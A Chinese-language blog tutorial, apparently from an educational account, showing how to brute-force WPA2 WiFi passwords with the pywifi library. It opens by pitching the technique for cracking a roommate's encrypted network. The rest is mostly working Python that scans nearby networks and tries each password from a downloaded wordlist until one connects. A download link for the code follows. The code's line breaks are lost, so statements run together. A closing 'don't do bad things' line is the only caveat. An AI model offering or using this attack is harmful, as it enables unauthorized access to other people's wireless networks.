python网络攻防实战——尝试用pywifi破解wifi
当你流量用尽看着室友的加密WiFi一筹莫展时,别再用不安全的wifi破解大师了,快来试试python中的pywifi吧!
Pywifi是一个专门用来破解wifi密码的第三方库,可以在 https://pypi.org/project/pywifi/ 网站上查看它的官方文档。与其他库相同,在使用前需要安装库。
pip install pywifi
pywifi破解wifi密码是一种暴力破解的方式,原理就是操纵网卡,通过穷举法一个一个的读取密码本上的密码进行连接,直到密码正确。
在进行破解之前,先通过如下代码测试网卡状态和扫描周围的wifi。
import pywifiimport timefrom pywifi import const#创建一个wifi对象wifi = pywifi.PyWiFi()#创建WiFi对象iface = wifi.interfaces()[0]#获取网卡name = iface.name()#网卡名称iface.scan()#扫描APtime.sleep(1)bessis = iface.scan_results()#扫描结果列表for data in bessis:#输出扫描到的WiFi名称print(data.ssid)if iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:#检测网卡是否连接print("网卡未连接")else:print("网卡已连接")
扫描到的结果如下:
测试用的wifi名称为python test
搜索到的16个wifi信息,并且可以具体查看
本机网卡信息为:
工欲善其事必先利其器,要想要破解wifi,就必须找到一个合适的密码本作为穷举法的依据。这里推荐一个网站:https://weakpass.com/
该网站提供了一些常用的、有规律可循的密码序列,鉴于性能和测试的初衷,这里只选取了包含100万个密码序列的密码本进行下载。内部的部分密码如下:
1. 导入相关库:
import time #时间import pywifi #破解wififrom pywifi import const #引用一些定义from asyncio.tasks import sleep #执行异步操作时需要
2. 网卡的配置:
class PoJie():def __init__(self,path):self.file=open(path,"r",errors="ignore")wifi = pywifi.PyWiFi() #抓取网卡接口self.iface = wifi.interfaces()[0]#抓取第一个无限网卡self.iface.disconnect() #测试链接断开所有链接time.sleep(1) #因为连接需要时间,所以每次连接间需要间隔,休眠1秒#测试网卡是否属于断开状态,assert self.iface.status() in \ [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
3. 定义从密码本中读取密码的函数:
def readPassWord(self):print("开始破解:")while True:try:myStr =self.file.readline()if not myStr:breakbool1=self.test_connect(myStr)if bool1:print("密码正确:",myStr)breakelse:print("密码错误:"+myStr)sleep(3)except:continue
4. 定义测试密码是否正确的测试连接函数:
def test_connect(self,findStr):#测试链接profile = pywifi.Profile() #创建wifi链接文件profile.ssid ="python test" #wifi名称profile.auth = const.AUTH_ALG_OPEN #网卡的开放,profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法profile.cipher = const.CIPHER_TYPE_CCMP #加密单元profile.key = findStr #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件self.iface.connect(tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef __del__(self):self.file.close()
5. 开始进行密码破解测试:
path="password.txt"start=PoJie(path)start.readPassWord()
6. 破解结果:
我设置的待破解的WiFi名称为:python test ;密码为:python123test。
由于该密码由我自己设计具有特殊性,考虑到我所下载的字典中可能没有,于是在字典随机某行中加入该密码文本段。
运行代码:
破解成功!
总结与拓展:
使用python中的pywifi库来破解wifi时,只能破解具有一般规律性或者在包含于密码本中的wifi。当密码位数增加时,穷举法使用的密码本的量呈指数增长,其时间复杂度也呈指数级增长。
虽然pywifi库只能进行简单的密码破解,但是却不能忽视python强大的功能,以及拓展出破解wpa加密算法的其他破解方法。例如通过预先生成哈希表的方式来计算PMK(pairwise master key=ssid+psk)破解密码。
感兴趣的同学可以通过下面的链接下载代码进行实验。(不要用来做坏事哟!)
链接:https://pan.baidu.com/s/1EDL7YudcBJpvDXSM46Mn4g
提取码:9b8z
欢迎关注数据皮皮侠!

作者:王捷
编辑校对:郭通

